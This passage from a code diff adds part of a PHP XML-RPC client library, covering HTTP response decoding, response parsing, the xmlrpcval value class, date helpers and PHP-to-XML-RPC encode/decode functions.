+						}
+					}
+					elseif(isset($header_name))
+					{
+						///	@todo version1 cookies might span multiple lines, thus breaking the parsing above
+						$GLOBALS['_xh']['headers'][$header_name] .= ' ' . trim($line);
+					}
+				}
+
+				$data = substr($data, $bd);
+
+				if($this->debug && count($GLOBALS['_xh']['headers']))
+				{
+					print '<PRE>';
+					foreach($GLOBALS['_xh']['headers'] as $header => $value)
+					{
+						print "HEADER: $header: $value\n";
+					}
+					foreach($GLOBALS['_xh']['cookies'] as $header => $value)
+					{
+						print "COOKIE: $header={$value['value']}\n";
+					}
+					print "</PRE>\n";
+				}
+
+				// if CURL was used for the call, http headers have been processed,
+				// and dechunking + reinflating have been carried out
+				if(!$headers_processed)
+				{
+					// Decode chunked encoding sent by http 1.1 servers
+					if(isset($GLOBALS['_xh']['headers']['transfer-encoding']) && $GLOBALS['_xh']['headers']['transfer-encoding'] == 'chunked')
+					{
+						if(!$data = decode_chunked($data))
+						{
+							error_log('XML-RPC: xmlrpcmsg::parseResponse: errors occurred when trying to rebuild the chunked data received from server');
+							$r =& new xmlrpcresp(0, $GLOBALS['xmlrpcerr']['dechunk_fail'], $GLOBALS['xmlrpcstr']['dechunk_fail']);
+							return $r;
+						}
+					}
+
+					// Decode gzip-compressed stuff
+					// code shamelessly inspired from nusoap library by Dietrich Ayala
+					if(isset($GLOBALS['_xh']['headers']['content-encoding']))
+					{
+						$GLOBALS['_xh']['headers']['content-encoding'] = str_replace('x-', '', $GLOBALS['_xh']['headers']['content-encoding']);
+						if($GLOBALS['_xh']['headers']['content-encoding'] == 'deflate' || $GLOBALS['_xh']['headers']['content-encoding'] == 'gzip')
+						{
+							// if decoding works, use it. else assume data wasn't gzencoded
+							if(function_exists('gzinflate'))
+							{
+								if($GLOBALS['_xh']['headers']['content-encoding'] == 'deflate' && $degzdata = @gzuncompress($data))
+								{
+									$data = $degzdata;
+									if($this->debug)
+									print "<PRE>---INFLATED RESPONSE---[".strlen($data)." chars]---\n" . htmlentities($data) . "\n---END---</PRE>";
+								}
+								elseif($GLOBALS['_xh']['headers']['content-encoding'] == 'gzip' && $degzdata = @gzinflate(substr($data, 10)))
+								{
+									$data = $degzdata;
+									if($this->debug)
+									print "<PRE>---INFLATED RESPONSE---[".strlen($data)." chars]---\n" . htmlentities($data) . "\n---END---</PRE>";
+								}
+								else
+								{
+									error_log('XML-RPC: xmlrpcmsg::parseResponse: errors occurred when trying to decode the deflated data received from server');
+									$r =& new xmlrpcresp(0, $GLOBALS['xmlrpcerr']['decompress_fail'], $GLOBALS['xmlrpcstr']['decompress_fail']);
+									return $r;
+								}
+							}
+							else
+							{
+								error_log('XML-RPC: xmlrpcmsg::parseResponse: the server sent deflated data. Your php install must have the Zlib extension compiled in to support this.');
+								$r =& new xmlrpcresp(0, $GLOBALS['xmlrpcerr']['cannot_decompress'], $GLOBALS['xmlrpcstr']['cannot_decompress']);
+								return $r;
+							}
+						}
+					}
+				} // end of 'if needed, de-chunk, re-inflate response'
+
+				// real stupid hack to avoid PHP 4 complaining about returning NULL by ref
+				$r = null;
+				$r =& $r;
+				return $r;
+		}
+
+		/**
+		* Parse the xmlrpc response containeed in the string $data and return an xmlrpcresp object.
+		* @param string $data the xmlrpc response, eventually including http headers
+		* @param bool $headers_processed when true prevents parsing HTTP headers for interpretation of content-encoding and consequent decoding
+		* @param string $return_type decides return type, i.e. content of response->value(). Either 'xmlrpcvals', 'xml' or 'phpvals'
+		* @return xmlrpcresp
+		* @access public
+		*/
+		function &parseResponse($data='', $headers_processed=false, $return_type='xmlrpcvals')
+		{
+			if($this->debug)
+			{
+				//by maHo, replaced htmlspecialchars with htmlentities
+				print "<PRE>---GOT---\n" . htmlentities($data) . "\n---END---\n</PRE>";
+				$start = strpos($data, '<!-- SERVER DEBUG INFO (BASE64 ENCODED):');
+				if ($start)
+				{
+					$start += strlen('<!-- SERVER DEBUG INFO (BASE64 ENCODED):');
+					$end = strpos($data, '-->', $start);
+					$comments = substr($data, $start, $end-$start);
+					print "<PRE>---SERVER DEBUG INFO (DECODED) ---\n\t".htmlentities(str_replace("\n", "\n\t", base64_decode($comments)))."\n---END---\n</PRE>";
+				}
+			}
+
+			if($data == '')
+			{
+				error_log('XML-RPC: xmlrpcmsg::parseResponse: no response received from server.');
+				$r =& new xmlrpcresp(0, $GLOBALS['xmlrpcerr']['no_data'], $GLOBALS['xmlrpcstr']['no_data']);
+				return $r;
+			}
+
+			$GLOBALS['_xh']=array();
+
+			$raw_data = $data;
+			// parse the HTTP headers of the response, if present, and separate them from data
+			if(substr($data, 0, 4) == 'HTTP')
+			{
+				$r =& $this->parseResponseHeaders($data, $headers_processed);
+				if ($r)
+				{
+					// failed processing of HTTP response headers
+					// save into response obj the full payload received, for debugging
+					$r->raw_data = $data;
+					return $r;
+				}
+			}
+			else
+			{
+				$GLOBALS['_xh']['headers'] = array();
+				$GLOBALS['_xh']['cookies'] = array();
+			}
+
+
+			// be tolerant of extra whitespace in response body
+			$data = trim($data);
+
+			/// @todo return an error msg if $data=='' ?
+
+			// be tolerant of junk after methodResponse (e.g. javascript ads automatically inserted by free hosts)
+			// idea from Luca Mariano <luca.mariano@email.it> originally in PEARified version of the lib
+			$bd = false;
+			// Poor man's version of strrpos for php 4...
+			$pos = strpos($data, '</methodResponse>');
+			while($pos || is_int($pos))
+			{
+				$bd = $pos+17;
+				$pos = strpos($data, '</methodResponse>', $bd);
+			}
+			if($bd)
+			{
+				$data = substr($data, 0, $bd);
+			}
+
+			// if user wants back raw xml, give it to him
+			if ($return_type == 'xml')
+			{
+				$r =& new xmlrpcresp($data, 0, '', 'xml');
+				$r->hdrs = $GLOBALS['_xh']['headers'];
+				$r->_cookies = $GLOBALS['_xh']['cookies'];
+				$r->raw_data = $raw_data;
+				return $r;
+			}
+
+			// try to 'guestimate' the character encoding of the received response
+			$resp_encoding = guess_encoding(@$GLOBALS['_xh']['headers']['content-type'], $data);
+
+			$GLOBALS['_xh']['ac']='';
+			//$GLOBALS['_xh']['qt']=''; //unused...
+			$GLOBALS['_xh']['stack'] = array();
+			$GLOBALS['_xh']['valuestack'] = array();
+			$GLOBALS['_xh']['isf']=0; // 0 = OK, 1 for xmlrpc fault responses, 2 = invalid xmlrpc
+			$GLOBALS['_xh']['isf_reason']='';
+			$GLOBALS['_xh']['rt']=''; // 'methodcall or 'methodresponse'
+
+			// if response charset encoding is not known / supported, try to use
+			// the default encoding and parse the xml anyway, but log a warning...
+			if (!in_array($resp_encoding, array('UTF-8', 'ISO-8859-1', 'US-ASCII')))
+			// the following code might be better for mb_string enabled installs, but
+			// makes the lib about 200% slower...
+			//if (!is_valid_charset($resp_encoding, array('UTF-8', 'ISO-8859-1', 'US-ASCII')))
+			{
+				error_log('XML-RPC: xmlrpcmsg::parseResponse: invalid charset encoding of received response: '.$resp_encoding);
+				$resp_encoding = $GLOBALS['xmlrpc_defencoding'];
+			}
+			$parser = xml_parser_create($resp_encoding);
+			xml_parser_set_option($parser, XML_OPTION_CASE_FOLDING, true);
+			// G. Giunta 2005/02/13: PHP internally uses ISO-8859-1, so we have to tell
+			// the xml parser to give us back data in the expected charset
+			xml_parser_set_option($parser, XML_OPTION_TARGET_ENCODING, $GLOBALS['xmlrpc_internalencoding']);
+
+			if ($return_type == 'phpvals')
+			{
+				xml_set_element_handler($parser, 'xmlrpc_se', 'xmlrpc_ee_fast');
+			}
+			else
+			{
+				xml_set_element_handler($parser, 'xmlrpc_se', 'xmlrpc_ee');
+			}
+
+			xml_set_character_data_handler($parser, 'xmlrpc_cd');
+			xml_set_default_handler($parser, 'xmlrpc_dh');
+
+			// first error check: xml not well formed
+			if(!xml_parse($parser, $data, count($data)))
+			{
+				// thanks to Peter Kocks <peter.kocks@baygate.com>
+				if((xml_get_current_line_number($parser)) == 1)
+				{
+					$errstr = 'XML error at line 1, check URL';
+				}
+				else
+				{
+					$errstr = sprintf('XML error: %s at line %d, column %d',
+						xml_error_string(xml_get_error_code($parser)),
+						xml_get_current_line_number($parser), xml_get_current_column_number($parser));
+				}
+				error_log($errstr);
+				$r=&new xmlrpcresp(0, $GLOBALS['xmlrpcerr']['invalid_return'], $GLOBALS['xmlrpcstr']['invalid_return'].' ('.$errstr.')');
+				xml_parser_free($parser);
+				if($this->debug)
+				{
+					print $errstr;
+				}
+				$r->hdrs = $GLOBALS['_xh']['headers'];
+				$r->_cookies = $GLOBALS['_xh']['cookies'];
+				$r->raw_data = $raw_data;
+				return $r;
+			}
+			xml_parser_free($parser);
+			// second error check: xml well formed but not xml-rpc compliant
+			if ($GLOBALS['_xh']['isf'] > 1)
+			{
+				if ($this->debug)
+				{
+					/// @todo echo something for user?
+				}
+
+				$r =& new xmlrpcresp(0, $GLOBALS['xmlrpcerr']['invalid_return'],
+				$GLOBALS['xmlrpcstr']['invalid_return'] . ' ' . $GLOBALS['_xh']['isf_reason']);
+			}
+			// third error check: parsing of the response has somehow gone boink.
+			// NB: shall we omit this check, since we trust the parsing code?
+			elseif ($return_type == 'xmlrpcvals' && !is_object($GLOBALS['_xh']['value']))
+			{
+				// something odd has happened
+				// and it's time to generate a client side error
+				// indicating something odd went on
+				$r=&new xmlrpcresp(0, $GLOBALS['xmlrpcerr']['invalid_return'],
+					$GLOBALS['xmlrpcstr']['invalid_return']);
+			}
+			else
+			{
+				if ($this->debug)
+				{
+					print "<PRE>---PARSED---\n" ;
+					var_export($GLOBALS['_xh']['value']);
+					print "\n---END---</PRE>";
+				}
+
+				// note that using =& will raise an error if $GLOBALS['_xh']['st'] does not generate an object.
+				$v =& $GLOBALS['_xh']['value'];
+
+				if($GLOBALS['_xh']['isf'])
+				{
+					/// @todo we should test here if server sent an int and a string,
+					/// and/or coerce them into such...
+					if ($return_type == 'xmlrpcvals')
+					{
+						$errno_v = $v->structmem('faultCode');
+						$errstr_v = $v->structmem('faultString');
+						$errno = $errno_v->scalarval();
+						$errstr = $errstr_v->scalarval();
+					}
+					else
+					{
+						$errno = $v['faultCode'];
+						$errstr = $v['faultString'];
+					}
+
+					if($errno == 0)
+					{
+						// FAULT returned, errno needs to reflect that
+						$errno = -1;
+					}
+
+					$r =& new xmlrpcresp(0, $errno, $errstr);
+				}
+				else
+				{
+					$r=&new xmlrpcresp($v, 0, '', $return_type);
+				}
+			}
+
+			$r->hdrs = $GLOBALS['_xh']['headers'];
+			$r->_cookies = $GLOBALS['_xh']['cookies'];
+			$r->raw_data = $raw_data;
+			return $r;
+		}
+	}
+
+	class xmlrpcval
+	{
+		var $me=array();
+		var $mytype=0;
+		var $_php_class=null;
+
+		/**
+		* @param mixed $val
+		* @param string $type any valid xmlrpc type name (lowercase). If null, 'string' is assumed
+		*/
+		function xmlrpcval($val=-1, $type='')
+		{
+			/// @todo: optimization creep - do not call addXX, do it all inline.
+			/// downside: booleans will not be coerced anymore
+			if($val!==-1 || $type!='')
+			{
+				// optimization creep: inlined all work done by constructor
+				switch($type)
+				{
+					case '':
+						$this->mytype=1;
+						$this->me['string']=$val;
+						break;
+					case 'i4':
+					case 'int':
+					case 'double':
+					case 'string':
+					case 'boolean':
+					case 'dateTime.iso8601':
+					case 'base64':
+					case 'null':
+						$this->mytype=1;
+						$this->me[$type]=$val;
+						break;
+					case 'array':
+						$this->mytype=2;
+						$this->me['array']=$val;
+						break;
+					case 'struct':
+						$this->mytype=3;
+						$this->me['struct']=$val;
+						break;
+					default:
+						error_log("XML-RPC: xmlrpcval::xmlrpcval: not a known type ($type)");
+				}
+				/*if($type=='')
+				{
+					$type='string';
+				}
+				if($GLOBALS['xmlrpcTypes'][$type]==1)
+				{
+					$this->addScalar($val,$type);
+				}
+				elseif($GLOBALS['xmlrpcTypes'][$type]==2)
+				{
+					$this->addArray($val);
+				}
+				elseif($GLOBALS['xmlrpcTypes'][$type]==3)
+				{
+					$this->addStruct($val);
+				}*/
+			}
+		}
+
+		/**
+		* Add a single php value to an (unitialized) xmlrpcval
+		* @param mixed $val
+		* @param string $type
+		* @return int 1 or 0 on failure
+		*/
+		function addScalar($val, $type='string')
+		{
+			$typeof=@$GLOBALS['xmlrpcTypes'][$type];
+			if($typeof!=1)
+			{
+				error_log("XML-RPC: xmlrpcval::addScalar: not a scalar type ($type)");
+				return 0;
+			}
+
+			// coerce booleans into correct values
+			// NB: we should iether do it for datetimes, integers and doubles, too,
+			// or just plain remove this check, implemnted on booleans only...
+			if($type==$GLOBALS['xmlrpcBoolean'])
+			{
+				if(strcasecmp($val,'true')==0 || $val==1 || ($val==true && strcasecmp($val,'false')))
+				{
+					$val=true;
+				}
+				else
+				{
+					$val=false;
+				}
+			}
+
+			switch($this->mytype)
+			{
+				case 1:
+					error_log('XML-RPC: xmlrpcval::addScalar: scalar xmlrpcval can have only one value');
+					return 0;
+				case 3:
+					error_log('XML-RPC: xmlrpcval::addScalar: cannot add anonymous scalar to struct xmlrpcval');
+					return 0;
+				case 2:
+					// we're adding a scalar value to an array here
+					//$ar=$this->me['array'];
+					//$ar[]=&new xmlrpcval($val, $type);
+					//$this->me['array']=$ar;
+					// Faster (?) avoid all the costly array-copy-by-val done here...
+					$this->me['array'][]=&new xmlrpcval($val, $type);
+					return 1;
+				default:
+					// a scalar, so set the value and remember we're scalar
+					$this->me[$type]=$val;
+					$this->mytype=$typeof;
+					return 1;
+			}
+		}
+
+		/**
+		* Add an array of xmlrpcval objects to an xmlrpcval
+		* @param array $vals
+		* @return int 1 or 0 on failure
+		* @access public
+		*
+		* @todo add some checking for $vals to be an array of xmlrpcvals?
+		*/
+		function addArray($vals)
+		{
+			if($this->mytype==0)
+			{
+				$this->mytype=$GLOBALS['xmlrpcTypes']['array'];
+				$this->me['array']=$vals;
+				return 1;
+			}
+			elseif($this->mytype==2)
+			{
+				// we're adding to an array here
+				$this->me['array'] = array_merge($this->me['array'], $vals);
+				return 1;
+			}
+			else
+			{
+				error_log('XML-RPC: xmlrpcval::addArray: already initialized as a [' . $this->kindOf() . ']');
+				return 0;
+			}
+		}
+
+		/**
+		* Add an array of named xmlrpcval objects to an xmlrpcval
+		* @param array $vals
+		* @return int 1 or 0 on failure
+		* @access public
+		*
+		* @todo add some checking for $vals to be an array?
+		*/
+		function addStruct($vals)
+		{
+			if($this->mytype==0)
+			{
+				$this->mytype=$GLOBALS['xmlrpcTypes']['struct'];
+				$this->me['struct']=$vals;
+				return 1;
+			}
+			elseif($this->mytype==3)
+			{
+				// we're adding to a struct here
+				$this->me['struct'] = array_merge($this->me['struct'], $vals);
+				return 1;
+			}
+			else
+			{
+				error_log('XML-RPC: xmlrpcval::addStruct: already initialized as a [' . $this->kindOf() . ']');
+				return 0;
+			}
+		}
+
+		// poor man's version of print_r ???
+		// DEPRECATED!
+		function dump($ar)
+		{
+			foreach($ar as $key => $val)
+			{
+				echo "$key => $val<br />";
+				if($key == 'array')
+				{
+					while(list($key2, $val2) = each($val))
+					{
+						echo "-- $key2 => $val2<br />";
+					}
+				}
+			}
+		}
+
+		/**
+		* Returns a string containing "struct", "array" or "scalar" describing the base type of the value
+		* @return string
+		* @access public
+		*/
+		function kindOf()
+		{
+			switch($this->mytype)
+			{
+				case 3:
+					return 'struct';
+					break;
+				case 2:
+					return 'array';
+					break;
+				case 1:
+					return 'scalar';
+					break;
+				default:
+					return 'undef';
+			}
+		}
+
+		/**
+		* @access private
+		*/
+		function serializedata($typ, $val, $charset_encoding='')
+		{
+			$rs='';
+			switch(@$GLOBALS['xmlrpcTypes'][$typ])
+			{
+				case 1:
+					switch($typ)
+					{
+						case $GLOBALS['xmlrpcBase64']:
+							$rs.="<${typ}>" . base64_encode($val) . "</${typ}>";
+							break;
+						case $GLOBALS['xmlrpcBoolean']:
+							$rs.="<${typ}>" . ($val ? '1' : '0') . "</${typ}>";
+							break;
+						case $GLOBALS['xmlrpcString']:
+							// G. Giunta 2005/2/13: do NOT use htmlentities, since
+							// it will produce named html entities, which are invalid xml
+							$rs.="<${typ}>" . xmlrpc_encode_entitites($val, $GLOBALS['xmlrpc_internalencoding'], $charset_encoding). "</${typ}>";
+							break;
+						case $GLOBALS['xmlrpcInt']:
+						case $GLOBALS['xmlrpcI4']:
+							$rs.="<${typ}>".(int)$val."</${typ}>";
+							break;
+						case $GLOBALS['xmlrpcDouble']:
+							$rs.="<${typ}>".(double)$val."</${typ}>";
+							break;
+						case $GLOBALS['xmlrpcNull']:
+							$rs.="<nil/>";
+							break;
+						default:
+							// no standard type value should arrive here, but provide a possibility
+							// for xmlrpcvals of unknown type...
+							$rs.="<${typ}>${val}</${typ}>";
+					}
+					break;
+				case 3:
+					// struct
+					if ($this->_php_class)
+					{
+						$rs.='<struct php_class="' . $this->_php_class . "\">\n";
+					}
+					else
+					{
+						$rs.="<struct>\n";
+					}
+					foreach($val as $key2 => $val2)
+					{
+						$rs.='<member><name>'.xmlrpc_encode_entitites($key2, $GLOBALS['xmlrpc_internalencoding'], $charset_encoding)."</name>\n";
+						//$rs.=$this->serializeval($val2);
+						$rs.=$val2->serialize($charset_encoding);
+						$rs.="</member>\n";
+					}
+					$rs.='</struct>';
+					break;
+				case 2:
+					// array
+					$rs.="<array>\n<data>\n";
+					for($i=0; $i<count($val); $i++)
+					{
+						//$rs.=$this->serializeval($val[$i]);
+						$rs.=$val[$i]->serialize($charset_encoding);
+					}
+					$rs.="</data>\n</array>";
+					break;
+				default:
+					break;
+			}
+			return $rs;
+		}
+
+		/**
+		* Returns xml representation of the value. XML prologue not included
+		* @param string $charset_encoding the charset to be used for serialization. if null, US-ASCII is assumed
+		* @return string
+		* @access public
+		*/
+		function serialize($charset_encoding='')
+		{
+			// add check? slower, but helps to avoid recursion in serializing broken xmlrpcvals...
+			//if (is_object($o) && (get_class($o) == 'xmlrpcval' || is_subclass_of($o, 'xmlrpcval')))
+			//{
+				reset($this->me);
+				list($typ, $val) = each($this->me);
+				return '<value>' . $this->serializedata($typ, $val, $charset_encoding) . "</value>\n";
+			//}
+		}
+
+		// DEPRECATED
+		function serializeval($o)
+		{
+			// add check? slower, but helps to avoid recursion in serializing broken xmlrpcvals...
+			//if (is_object($o) && (get_class($o) == 'xmlrpcval' || is_subclass_of($o, 'xmlrpcval')))
+			//{
+				$ar=$o->me;
+				reset($ar);
+				list($typ, $val) = each($ar);
+				return '<value>' . $this->serializedata($typ, $val) . "</value>\n";
+			//}
+		}
+
+		/**
+		* Checks wheter a struct member with a given name is present.
+		* Works only on xmlrpcvals of type struct.
+		* @param string $m the name of the struct member to be looked up
+		* @return boolean
+		* @access public
+		*/
+		function structmemexists($m)
+		{
+			return array_key_exists($m, $this->me['struct']);
+		}
+
+		/**
+		* Returns the value of a given struct member (an xmlrpcval object in itself).
+		* Will raise a php warning if struct member of given name does not exist
+		* @param string $m the name of the struct member to be looked up
+		* @return xmlrpcval
+		* @access public
+		*/
+		function structmem($m)
+		{
+			return $this->me['struct'][$m];
+		}
+
+		/**
+		* Reset internal pointer for xmlrpcvals of type struct.
+		* @access public
+		*/
+		function structreset()
+		{
+			reset($this->me['struct']);
+		}
+
+		/**
+		* Return next member element for xmlrpcvals of type struct.
+		* @return xmlrpcval
+		* @access public
+		*/
+		function structeach()
+		{
+			return each($this->me['struct']);
+		}
+
+		// DEPRECATED! this code looks like it is very fragile and has not been fixed
+		// for a long long time. Shall we remove it for 2.0?
+		function getval()
+		{
+			// UNSTABLE
+			reset($this->me);
+			list($a,$b)=each($this->me);
+			// contributed by I Sofer, 2001-03-24
+			// add support for nested arrays to scalarval
+			// i've created a new method here, so as to
+			// preserve back compatibility
+
+			if(is_array($b))
+			{
+				@reset($b);
+				while(list($id,$cont) = @each($b))
+				{
+					$b[$id] = $cont->scalarval();
+				}
+			}
+
+			// add support for structures directly encoding php objects
+			if(is_object($b))
+			{
+				$t = get_object_vars($b);
+				@reset($t);
+				while(list($id,$cont) = @each($t))
+				{
+					$t[$id] = $cont->scalarval();
+				}
+				@reset($t);
+				while(list($id,$cont) = @each($t))
+				{
+					@$b->$id = $cont;
+				}
+			}
+			// end contrib
+			return $b;
+		}
+
+		/**
+		* Returns the value of a scalar xmlrpcval
+		* @return mixed
+		* @access public
+		*/
+		function scalarval()
+		{
+			reset($this->me);
+			list(,$b)=each($this->me);
+			return $b;
+		}
+
+		/**
+		* Returns the type of the xmlrpcval.
+		* For integers, 'int' is always returned in place of 'i4'
+		* @return string
+		* @access public
+		*/
+		function scalartyp()
+		{
+			reset($this->me);
+			list($a,)=each($this->me);
+			if($a==$GLOBALS['xmlrpcI4'])
+			{
+				$a=$GLOBALS['xmlrpcInt'];
+			}
+			return $a;
+		}
+
+		/**
+		* Returns the m-th member of an xmlrpcval of struct type
+		* @param integer $m the index of the value to be retrieved (zero based)
+		* @return xmlrpcval
+		* @access public
+		*/
+		function arraymem($m)
+		{
+			return $this->me['array'][$m];
+		}
+
+		/**
+		* Returns the number of members in an xmlrpcval of array type
+		* @return integer
+		* @access public
+		*/
+		function arraysize()
+		{
+			return count($this->me['array']);
+		}
+
+		/**
+		* Returns the number of members in an xmlrpcval of struct type
+		* @return integer
+		* @access public
+		*/
+		function structsize()
+		{
+			return count($this->me['struct']);
+		}
+	}
+
+
+	// date helpers
+
+	/**
+	* Given a timestamp, return the corresponding ISO8601 encoded string.
+	*
+	* Really, timezones ought to be supported
+	* but the XML-RPC spec says:
+	*
+	* "Don't assume a timezone. It should be specified by the server in its
+	* documentation what assumptions it makes about timezones."
+	*
+	* These routines always assume localtime unless
+	* $utc is set to 1, in which case UTC is assumed
+	* and an adjustment for locale is made when encoding
+	*
+	* @param int $timet (timestamp)
+	* @param int $utc (0 or 1)
+	* @return string
+	*/
+	function iso8601_encode($timet, $utc=0)
+	{
+		if(!$utc)
+		{
+			$t=strftime("%Y%m%dT%H:%M:%S", $timet);
+		}
+		else
+		{
+			if(function_exists('gmstrftime'))
+			{
+				// gmstrftime doesn't exist in some versions
+				// of PHP
+				$t=gmstrftime("%Y%m%dT%H:%M:%S", $timet);
+			}
+			else
+			{
+				$t=strftime("%Y%m%dT%H:%M:%S", $timet-date('Z'));
+			}
+		}
+		return $t;
+	}
+
+	/**
+	* Given an ISO8601 date string, return a timet in the localtime, or UTC
+	* @param string $idate
+	* @param int $utc either 0 or 1
+	* @return int (datetime)
+	*/
+	function iso8601_decode($idate, $utc=0)
+	{
+		$t=0;
+		if(preg_match('/([0-9]{4})([0-9]{2})([0-9]{2})T([0-9]{2}):([0-9]{2}):([0-9]{2})/', $idate, $regs))
+		{
+			if($utc)
+			{
+				$t=gmmktime($regs[4], $regs[5], $regs[6], $regs[2], $regs[3], $regs[1]);
+			}
+			else
+			{
+				$t=mktime($regs[4], $regs[5], $regs[6], $regs[2], $regs[3], $regs[1]);
+			}
+		}
+		return $t;
+	}
+
+	/**
+	* Takes an xmlrpc value in PHP xmlrpcval object format and translates it into native PHP types.
+	*
+	* Works with xmlrpc message objects as input, too.
+	*
+	* Given proper options parameter, can rebuild generic php object instances
+	* (provided those have been encoded to xmlrpc format using a corresponding
+	* option in php_xmlrpc_encode())
+	* PLEASE NOTE that rebuilding php objects involves calling their constructor function.
+	* This means that the remote communication end can decide which php code will
+	* get executed on your server, leaving the door possibly open to 'php-injection'
+	* style of attacks (provided you have some classes defined on your server that
+	* might wreak havoc if instances are built outside an appropriate context).
+	* Make sure you trust the remote server/client before eanbling this!
+	*
+	* @author Dan Libby (dan@libby.com)
+	*
+	* @param xmlrpcval $xmlrpc_val
+	* @param array $options if 'decode_php_objs' is set in the options array, xmlrpc structs can be decoded into php objects
+	* @return mixed
+	*/
+	function php_xmlrpc_decode($xmlrpc_val, $options=array())
+	{
+		switch($xmlrpc_val->kindOf())
+		{
+			case 'scalar':
+				if (in_array('extension_api', $options))
+				{
+					reset($xmlrpc_val->me);
+					list($typ,$val) = each($xmlrpc_val->me);
+					switch ($typ)
+					{
+						case 'dateTime.iso8601':
+							$xmlrpc_val->scalar = $val;
+							$xmlrpc_val->xmlrpc_type = 'datetime';
+							$xmlrpc_val->timestamp = iso8601_decode($val);
+							return $xmlrpc_val;
+						case 'base64':
+							$xmlrpc_val->scalar = $val;
+							$xmlrpc_val->type = $typ;
+							return $xmlrpc_val;
+						default:
+							return $xmlrpc_val->scalarval();
+					}
+				}
+				return $xmlrpc_val->scalarval();
+			case 'array':
+				$size = $xmlrpc_val->arraysize();
+				$arr = array();
+				for($i = 0; $i < $size; $i++)
+				{
+					$arr[] = php_xmlrpc_decode($xmlrpc_val->arraymem($i), $options);
+				}
+				return $arr;
+			case 'struct':
+				$xmlrpc_val->structreset();
+				// If user said so, try to rebuild php objects for specific struct vals.
+				/// @todo should we raise a warning for class not found?
+				// shall we check for proper subclass of xmlrpcval instead of
+				// presence of _php_class to detect what we can do?
+				if (in_array('decode_php_objs', $options) && $xmlrpc_val->_php_class != ''
+					&& class_exists($xmlrpc_val->_php_class))
+				{
+					$obj = @new $xmlrpc_val->_php_class;
+					while(list($key,$value)=$xmlrpc_val->structeach())
+					{
+						$obj->$key = php_xmlrpc_decode($value, $options);
+					}
+					return $obj;
+				}
+				else
+				{
+					$arr = array();
+					while(list($key,$value)=$xmlrpc_val->structeach())
+					{
+						$arr[$key] = php_xmlrpc_decode($value, $options);
+					}
+					return $arr;
+				}
+			case 'msg':
+				$paramcount = $xmlrpc_val->getNumParams();
+				$arr = array();
+				for($i = 0; $i < $paramcount; $i++)
+				{
+					$arr[] = php_xmlrpc_decode($xmlrpc_val->getParam($i));
+				}
+				return $arr;
+			}
+	}
+
+	// This constant left here only for historical reasons...
+	// it was used to decide if we have to define xmlrpc_encode on our own, but
+	// we do not do it anymore
+	if(function_exists('xmlrpc_decode'))
+	{
+		define('XMLRPC_EPI_ENABLED','1');
+	}
+	else
+	{
+		define('XMLRPC_EPI_ENABLED','0');
+	}
+
+	/**
+	* Takes native php types and encodes them into xmlrpc PHP object format.
+	* It will not re-encode xmlrpcval objects.
+	*
+	* Feature creep -- could support more types via optional type argument
+	* (string => datetime support has been added, ??? => base64 not yet)
+	*
+	* If given a proper options parameter, php object instances will be encoded
+	* into 'special' xmlrpc values, that can later be decoded into php objects
+	* by calling php_xmlrpc_decode() with a corresponding option
+	*
+	* @author Dan Libby (dan@libby.com)
+	*
+	* @param mixed $php_val the value to be converted into an xmlrpcval object
+	* @param array $options	can include 'encode_php_objs', 'auto_dates', 'null_extension' or 'extension_api'
+	* @return xmlrpcval
+	*/
+	function &php_xmlrpc_encode($php_val, $options=array())
+	{
+		$type = gettype($php_val);
+		switch($type)
+		{
+			case 'string':
+				if (in_array('auto_dates', $options) && preg_match('/^[0-9]{8}T[0-9]{2}:[0-9]{2}:[0-9]{2}$/', $php_val))
+					$xmlrpc_val =& new xmlrpcval($php_val, $GLOBALS['xmlrpcDateTime']);
+				else
+					$xmlrpc_val =& new xmlrpcval($php_val, $GLOBALS['xmlrpcString']);
+				break;
+			case 'integer':
+				$xmlrpc_val =& new xmlrpcval($php_val, $GLOBALS['xmlrpcInt']);
+				break;
+			case 'double':
+				$xmlrpc_val =& new xmlrpcval($php_val, $GLOBALS['xmlrpcDouble']);
+				break;
+				// <G_Giunta_2001-02-29>
+				// Add support for encoding/decoding of booleans, since they are supported in PHP
+			case 'boolean':
+				$xmlrpc_val =& new xmlrpcval($php_val, $GLOBALS['xmlrpcBoolean']);
+				break;
+				// </G_Giunta_2001-02-29>
+			case 'array':
+				// PHP arrays can be encoded to either xmlrpc structs or arrays,
+				// depending on wheter they are hashes or plain 0..n integer indexed
+				// A shorter one-liner would be
+				// $tmp = array_diff(array_keys($php_val), range(0, count($php_val)-1));
+				// but execution time skyrockets!
+				$j = 0;
+				$arr = array();
+				$ko = false;
+				foreach($php_val as $key => $val)
+				{
+					$arr[$key] =& php_xmlrpc_encode($val, $options);
+					if(!$ko && $key !== $j)
+					{
+						$ko = true;
+					}
+					$j++;
+				}
+				if($ko)
+				{
+					$xmlrpc_val =& new xmlrpcval($arr, $GLOBALS['xmlrpcStruct']);
+				}
+				else
+				{
+					$xmlrpc_val =& new xmlrpcval($arr, $GLOBALS['xmlrpcArray']);
+				}
+				break;
+			case 'object':
+				if(is_a($php_val, 'xmlrpcval'))
+				{
+					$xmlrpc_val = $php_val;
+				}
+				else
+				{
+					$arr = array();
+					while(list($k,$v) = each($php_val))
+					{
+						$arr[$k] = php_xmlrpc_encode($v, $options);
+					}
+					$xmlrpc_val =& new xmlrpcval($arr, $GLOBALS['xmlrpcStruct']);
+					if (in_array('encode_php_objs', $options))
+					{
+						// let's save original class name into xmlrpcval:
+						// might be useful later on...
+						$xmlrpc_val->_php_class = get_class($php_val);
+					}
+				}
+				break;
+			case 'NULL':
+				if (in_array('extension_api', $options))
+				{
+					$xmlrpc_val =& new xmlrpcval('', $GLOBALS['xmlrpcString']);
+				}
+				if (in_array('null_extension', $options))
+				{
+					$xmlrpc_val =& new xmlrpcval('', $GLOBALS['xmlrpcNull']);
+				}
+				else
+				{
+					$xmlrpc_val =& new xmlrpcval();
+				}
+				break;
+			case 'resource':
+				if (in_array('extension_api', $options))
+				{
+					$xmlrpc_val =& new xmlrpcval((int)$php_val, $GLOBALS['xmlrpcInt']);
+				}
+				else
+				{
+					$xmlrpc_val =& new xmlrpcval();
+				}
+			// catch "user function", "unknown type"
+			default:
+				// giancarlo pinerolo <ping@alt.it>
+				// it has to return
+				// an empty object in case, not a boolean.
+				$xmlrpc_val =& new xmlrpcval();
+				break;
+			}
+			return $xmlrpc_val;
+	}
+
+	/**
+	* Convert the xml representation of a method call, method request or single
+	* xmlrpc value into the appropriate object (a.k.a. deserialize)
+	* @param string $xml_val
+	* @param array $options
+	* @return mixed false on error, or an instance of either xmlrpcval, xmlrpcmsg or xmlrpcresp
+	*/
+	function php_xmlrpc_decode_xml($xml_val, $options=array())
+	{
